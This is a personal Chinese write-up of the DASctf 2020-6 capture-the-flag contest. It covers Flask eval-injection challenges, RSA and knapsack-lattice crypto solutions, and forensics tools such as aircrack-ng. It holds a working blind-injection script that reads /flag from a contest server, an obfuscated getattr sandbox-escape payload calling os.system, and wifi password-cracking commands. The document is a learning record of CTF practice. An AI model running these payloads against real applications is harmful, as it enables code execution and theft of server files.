DASctf-2020-6
每日思考一遍人生,还是要学习的
0x01 web
1、计算器-1
源码:
1 #!/usr/bin/env python3 2 # -*- coding: utf-8 -*- 3 from flask import Flask, render_template, request,session 4 from config import black_list,create 5 import os 6 app = Flask(__name__) 7 app.config['SECRET_KEY'] = os.urandom(24) 8 ## flag is in /flag try to get it 9 @app.route('/', methods=['GET', 'POST']) 10 def index(): 11 def filter(string): 12 for black_word in black_list: 13 if black_word in string: 14 return "hack" 15 return string 16 if request.method == 'POST': 17 input = request.form['input'] 18 create_question = create() 19 input_question = session.get('question') 20 session['question'] = create_question 21 if input_question==None: 22 return render_template('index.html', answer="Invalid session please try again!", question=create_question) 23 if filter(input)=="hack": 24 return render_template('index.html', answer="hack", question=create_question) 25 try: calc_result = str((eval(input_question + "=" + str(input)))) 26 if calc_result == 'True': 27 result = "Congratulations" 28 elif calc_result == 'False': 29 result = "Error" 30 else: 31 result = "Invalid" 32 except: 33 result = "Invalid" 34 return render_template('index.html', answer=result,question=create_question) 35 36 if request.method == 'GET': 37 create_question = create() 38 session['question'] = create_question 39 return render_template('index.html',question=create_question) 40 41 @app.route('/source') 42 def source(): 43 return open("app.py", "r").read() 44 if __name__ == '__main__': 45 app.run(host="0.0.0.0", debug=False)
简单理解一下,就是eval执行输入字符串,再返回结果,他还告诉我们flag在/flag里
try: calc_result = str((eval(input_question + "=" + str(input))))
可利用python 布尔盲注,简单的来说就是读flag文件,然后一个个试然后通过回显判断
import requests import re from urllib.parse import quote as urlencode def main(): alphabet = ['{','}', '@', '_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9'] proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'} data={"input":""} s = requests.Session() flag = '' for i in range(0,100): for char in alphabet: try: # get(question) r = s.post("http://183.129.189.60:10026/", data={"input":""}) question = re.search(r"<h4>(.*)</h4>", r.content.decode(), re.M|re.I).group().replace("<h4>", "").replace("</h4>","")[:-1] # print(question) data["input"] = "{0} and '{2}'==(open('/flag','r').read()[{1}])".format(question, i, char) r = s.post("http://183.129.189.60:10026/", data=data, proxies=proxies) result = r.content.decode() # print(char, end=' ') # print(re.search(r"<h3>(.*)</h3>", result, re.M|re.I).group()) # print(data) if r"Congratulations" in result: flag += char print(flag) break except Exception as e: print("Exception: ", end='') print(e) if __name__ == '__main__': main()
学到的:1)re.M,具体参考https://www.cnblogs.com/feifeifeisir/p/10627474.html
2){0},意会
关于ctf:python eval的布尔盲注
2、计算器-2
源码:
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from flask import Flask, render_template, request,session #from config import black_list,create import os app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(24) black_list = ['os','12'] ## flag is in /flag try to get it @app.route('/', methods=['GET', 'POST']) def index(): def filter(string): for black_word in black_list: if black_word in string: return "hack" return string if request.method == 'POST': input = request.form['input'] create_question = create() input_question = session.get('question') session['question'] = create_question if input_question == None: return render_template('index.html', answer="Invalid session please try again!", question=create_question) if filter(input)=="hack": return render_template('index.html', answer="hack", question=create_question) calc_str = input_question + "=" + str(input) try: calc_result = str((eval(calc_str)))// except Exception as ex: calc_result = "Invalid" return render_template('index.html', answer=calc_result,question=create_question) if request.method == 'GET': create_question = create() session['question'] = create_question return render_template('index.html',question=create_question) @app.route('/source') def source(): return open("app.py", "r").read() if __name__ == '__main__': app.run(host="0.0.0.0", debug=False)
沙箱逃逸参考:https://www.freebuf.com/column/232197.html的第三个
元素链调用构造过程:https://www.mi1k7ea.com/2019/05/31/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%B0%8F%E7%BB%93/
利用getattr()绕过过滤(一般用来绕过.):
getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__cla'+'ss__'),'__mr'+'o__')[1],'__subclas'+'ses__')()[104],'__init__'),'__glob'+'al'+'s__')['sy'+'s'],'mod'+'ules')['o'+'s'],'sy'+'ste'+'m')('l'+'s')
getattr:返回一个对象属性值。
返回class对象,再返回class的__mro__,结合元素链构造
反弹shell
一句话反弹shell:https://blog.csdn.net/Liuhuaijin/article/details/77460552
详细一些:https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
终于找到了一个带实验的:https://www.cnblogs.com/bonelee/p/11021996.html
被攻击者:其中192.168.220.128为攻击者IP
攻击者
(先开启监听)
有关该题目的反弹shell
os.system里面可以执行系统命令
关于为什么别人的php调用python正常输出,我的啥也没有,还没找到原因:
https://www.cnblogs.com/wujf-myblog/p/9872317.html
其他的web题没看。。。。
0x02 Crypto
1、
给了俩数,N and C,RSA,N很大,然后好像还给了提示,孪生素数(反正我没看到),猜测q=p+2,可求出p,q
e是猜的65537。。。。
from gmpy2 import * n='*******' c='*******' p = iroot(n,2)[0] #求n的2次根 q=p+2 print(p*q == n) phi = (p-1)*(q-1) e = 65537 print("d.....") d = invert(e,phi) print("m.....") m = int(powmod(c,d,n)) print("flag....") flag = bytes.fromhex(hex(m).strip("0xL")) print(flag) # b'Nep{e540b1fd7d4459619eecd244c12ae5c4}'
2、
import hashlib a0 = 780007910488861179164293870887 a1 = 644757781267431438527370588084 a2 = 886344987910700007796700699622 a3 = 67037192443258799119898868140 a4 = 315956500273241342245431683326 a5 = 351211073412604835884630475291 a6 = 335995606663513190145190482978 a7 = 297359033781432237886700807123 a8 = 830856741522978372146275766502 a9 = 66237663505632806581378309121 a10 = 215381734735218549313962033405 a11 = 901490788983193928886516147592 a12 = 499548714837069155558450537001 a13 = 224630055332830997824601426897 a14 = 919172894051797483753355195026 a15 = 1245440331898780823251731300504 a16 = 298263995223321209902868895182 a17 = 736591430769582414355553278342 a18 = 1217976030016671115168136964102 a19 = 980399099884318297365025522271 a20 = 726084355132965753252062504988 a21 = 951277826840378766945561669930 a22 = 7492442200302555390486229208 a23 = 769018513342604618159516970070 a24 = 968152198590814209754881322238 a25 = 1175154665753017160833066426121 a26 = 451952196471082603080565175017 a27 = 1221094023689255701171287330816 a28 = 617456087916724185254283878151 a29 = 226112898226641715564773252737 a30 = 494810212661607333752928148148 a31 = 1244821663551343141356670958981 a32 = 679214190369761834097630749359 a33 = 745058412645059179660418453044 a34 = 1178229830813633913730449092984 a35 = 145802775498878544007250617349 a36 = 1120246265160574187528207432153 a37 = 879947206559082641568587869322 a38 = 694829766294593284811782637743 a39 = 27254432667363032997310672464 a40 = 659494232598071549477042457760 a41 = 246528894190618505904569471972 a42 = 678865008088637501445062252585 a43 = 338808883115188328216917974008 s = 7435339872422467409289909942435 from flag import FLAG, m alist = [] for i in range(44): eval("alist.append({})".format('a' + str(i))) ss = 0 for i in range(len(m)): assert (int(m[i]) == 1 or int(m[i]) == 0) ss += alist[i] * int(m[i]) assert(ss == s) assert(hashlib.md5(m.encode()).hexdigest() == FLAG)
就是一个44位的m列表,其中的数为0或者为1,为1就把对应的a[i]加起来,然后给了个加起来的结果,以及a列表,求出m即可得到flag,下次还是要百度题目,不要相信自己的想法
LLL算法:用来破解背包密码的就对了(代码居然不能直接用?)
from hashlib import * from sage.all import * a = [780007910488861179164293870887, 644757781267431438527370588084, 886344987910700007796700699622, 67037192443258799119898868140, 315956500273241342245431683326, 351211073412604835884630475291, 335995606663513190145190482978, 297359033781432237886700807123, 830856741522978372146275766502, 66237663505632806581378309121, 215381734735218549313962033405, 901490788983193928886516147592, 499548714837069155558450537001, 224630055332830997824601426897, 919172894051797483753355195026, 1245440331898780823251731300504, 298263995223321209902868895182, 736591430769582414355553278342, 1217976030016671115168136964102, 980399099884318297365025522271, 726084355132965753252062504988, 951277826840378766945561669930, 7492442200302555390486229208, 769018513342604618159516970070, 968152198590814209754881322238, 1175154665753017160833066426121, 451952196471082603080565175017, 1221094023689255701171287330816, 617456087916724185254283878151, 226112898226641715564773252737, 494810212661607333752928148148, 1244821663551343141356670958981, 679214190369761834097630749359, 745058412645059179660418453044, 1178229830813633913730449092984, 145802775498878544007250617349, 1120246265160574187528207432153, 879947206559082641568587869322, 694829766294593284811782637743, 27254432667363032997310672464, 659494232598071549477042457760, 246528894190618505904569471972, 678865008088637501445062252585, 338808883115188328216917974008] s = 7435339872422467409289909942435 def decrypt(enc,publickey): # 维数 n = len(publickey) # 构造格 d = 2*identity_matrix(ZZ,n,n) col = publickey+[enc] col = matrix(col).transpose() last = matrix(ZZ,[[1]*n]) tmp = block_matrix(ZZ,[[d],[last]]) grid = block_matrix(ZZ,[[tmp,col]]) # 格基规约 使用LLL算法,找到最短向量 M = grid.LLL() # 利用最短向量还原信息,注意又两种可能,这里仅考虑第一种,reverse 函数将当前结果转换为第二种可能 m = '' for i in M[0]: if i== -1: # m += '0' m += '1' elif i == 1: # m += '1' m += '0' return m m = decrypt(s,a) # m = '01100101000000000100010010000010000100100111' flag = md5(m.encode()).hexdigest() print(flag)
0x03 MISC
总结一下工具吧,感觉质量最高的那个我也没下载文件
1)aircrack-ng
破解wifi密码的,给了个数据包,利用 aircrack-ng *.cap 获得wifi的essid,再利用 aircrack-ng *.cap -w password.txt (txt文件用来爆破的,github上找一下即可)爆破密码,最后
airdecap-ng *.cap -e ESSID -p pwd
获得原始数据包
再wireshark分析一下,http协议过滤之后分析,里面的文件分离可利用:https://blog.csdn.net/xiaopan233/article/details/89765018
分析之后有个空白txt:snow隐写。。。。
2)内存取证volatility
,都可以单另一篇了
https://www.cnblogs.com/sesefadou/p/11804566.html
3)zsteg
可以检测PNG和BMP图片里的隐写数据
4)隐形水印工具
图片隐写可以查着试试
0x04 总结
无